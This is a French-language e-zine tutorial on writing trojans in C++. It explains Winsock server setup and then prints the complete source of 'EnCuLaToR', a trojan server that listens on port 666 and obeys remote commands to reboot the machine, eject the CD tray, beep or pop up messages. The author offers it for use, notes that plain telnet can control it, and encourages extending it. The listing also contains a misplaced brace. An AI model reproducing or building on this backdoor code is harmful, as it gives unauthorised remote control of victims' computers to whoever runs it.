****************************************************************************** {{{{{{{{{{{{{{{{{{{{{{{ CODER DES TROYANS EN C++ }}}}}}}}}}}}}}}}}}}}}}}}}}} ******************************************************************************
le server ----------- 1) Il faut tout d'abord initialiser le système des sockets. 2) créer un socket 3) remplir une structure sockaddr_in 4) binder ( lier ) le socket à la structure 5) mettre le socket en listen() 6) accépter une connection d'un client avec accept() ... 7) détruire le socket 8) libérer winsock le client ---------- 1) initialiser le système des sockets. 2) créer un socket 3) connecter a l'host 4) envoyer le socket 5) fermer la connection en détruisant le socket et en libérant winsockPour tout ceci il faudra inclure "winsock.h" et linker avec wsock32.lib
#include <winsock.h>Nous déclarons nos structures sockaddr_in et nous créons "len" qui contient la taille d'un structure:
struct sockaddr_in sin; struct sockaddr_in info; int len = sizeof(SOCKADDR_IN);ensuite nous passons a l'initialisation de winsock en déclarant que nous voulons la version 1.1 minimum :
WSADATA wsaData; WORD verreq; verreq=MAKEWORD(2,2); WSAStartup(verreq,&wsaData);MAKEWORD est une fonction de winsock qui permet de donner la version.
SOCKET s; s=socket(AF_INET, SOCK_STREAM, 0);et le remplissage d'une structure sockaddr_in pour donner les propriétées de nos sockets :
sin.sin_family = PF_INET; //toujours PF_INET sous windows sin.sin_addr.s_addr = NULL; //on connait pas l'ip du client sin.sin_port = htons(12345); //htons donne la valeur correspond au port //en NETWORK BYTE ORDER.puis nous bindons(lier) le socket:
if (bind (s,(struct sockaddr *)&sin,len)==SOCKET_ERROR)goto error;puis nous le mettons en écoute:
if (listen(s,1)==SOCKET_ERROR)goto error;et nous attendons une connection:
SOCKET sok; sok=accept(s,(struct sockaddr *)&info,&len); if (sok == INVALID_SOCKET)goto error;sok sera la socket accepté et info la structure sockaddr_in qui lui correspond.
fin: closesocket(s); WSACleanup();C'est assez difficile à comprendre si vous ne connaissez pas très bien le C/C++. Pour illustrer tout ceci rien de mieux qu'un exemple. Voici donc le source de mon troyan en C++. Et si vous voulez un autre source regardez mon émulateur NetBus qui est tout simple. Allez voila le source du server.(n'oubliez pas de linker wsock32.lib en faisant sous vc++ : project->settings->link et rajoutez wsock32.lib au début de la liste ainsi que winmm.lib qui est utilisée ici pour ouvrir le lecteur cd) Ce troyan n'est pas très évolué mais il est relativement simple de l'améliorer.(les exes sont joints pour ceux qui n'ont pas VC++ ou le compilateur) Le source du client est joint pour ne pas surcharger le mag.
//---------------------------------------------------------------------- // EnCuLaToR TroYaN par TiPiaX - Hccc //---------------------------------------------------------------------- #include <stdio.h> #include <winsock.h> //pour les sockets //prototypes int troyan(void); //variables SOCKET s; SOCKET sok; WSADATA wsaData; WORD verreq; struct sockaddr_in sin; struct sockaddr_in info; int len = sizeof(SOCKADDR_IN); char signature[]="EnCuLaToR v0.1\r\n"; //signature int recu = 1; char buf[20]; //buffer pour recevoir des datas char message[]="reboot\r\n"; char open[]="open\r\n"; char close[]="close\r\n"; char beep[]="beep\r\n"; char chat[]="chat\r\n"; char parole[100]; char titre[100]; /**** ENTRY POINT ****/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow) { troyan(); return (0); } /**** !§ TROYAN §! ****/ int troyan(void) { //initialisation du système de sockets: verreq=MAKEWORD(2,2); WSAStartup(verreq,&wsaData); //remplissage de la structure sockaddr_in sin.sin_family = PF_INET; sin.sin_addr.s_addr = NULL; sin.sin_port = htons(666); //création d'un socket: s = socket(PF_INET, SOCK_STREAM, 0); //bind le socket if (bind (s,(struct sockaddr *)&sin,len)==SOCKET_ERROR)goto error; //socket en ecoute de connection if (listen(s,1)==SOCKET_ERROR)goto error; onrepart: //accepte la connection sok=accept(s,(struct sockaddr *)&info,&len); if (sok == INVALID_SOCKET)goto error; send(sok,signature,strlen(signature),0); //ici tout est bon, il n'y a plus qu'a recevoir les messages du client: int comparaison; recu = 1; while (recv(sok,buf,sizeof(buf),0)!=0) // boucle tant que la connection existe { comparaison = lstrcmp(buf,message); if (comparaison==0)ExitWindowsEx(EWX_REBOOT,NULL); comparaison = lstrcmp(buf,open); if (comparaison==0)mciSendString("Set cdaudio door open wait",0,0,0); comparaison = lstrcmp(buf,close); if (comparaison==0)mciSendString("Set cdaudio door closed wait",0,0,0);} comparaison = lstrcmp(buf,beep); if (comparaison==0)Beep(NULL,NULL); //boite de message comparaison = lstrcmp(buf,chat); if (comparaison==0) if(recv(sok,titre,sizeof(titre),0)!=0) if(recv(sok,parole,sizeof(parole),0)!=0) MessageBox(NULL,parole,titre,MB_OK); } memset(&info,0,sizeof(SOCKADDR_IN)); closesocket(sok); goto onrepart; error: int nombre; char buffer[30]; nombre=WSAGetLastError(); sprintf(buffer,"%d",nombre); MessageBox(NULL,buffer,"ERROR : WSAGetLastError :",MB_OK); closesocket(s); WSACleanup(); ExitProcess(0); } //----------------------------------------------------------------------Ce troyan peut même servir sans créer de client. En effet il suffit de se connecter avec telnet sur le port 666 et d'écrire des messages tels que: "reboot" :)
TiPiaX/VDS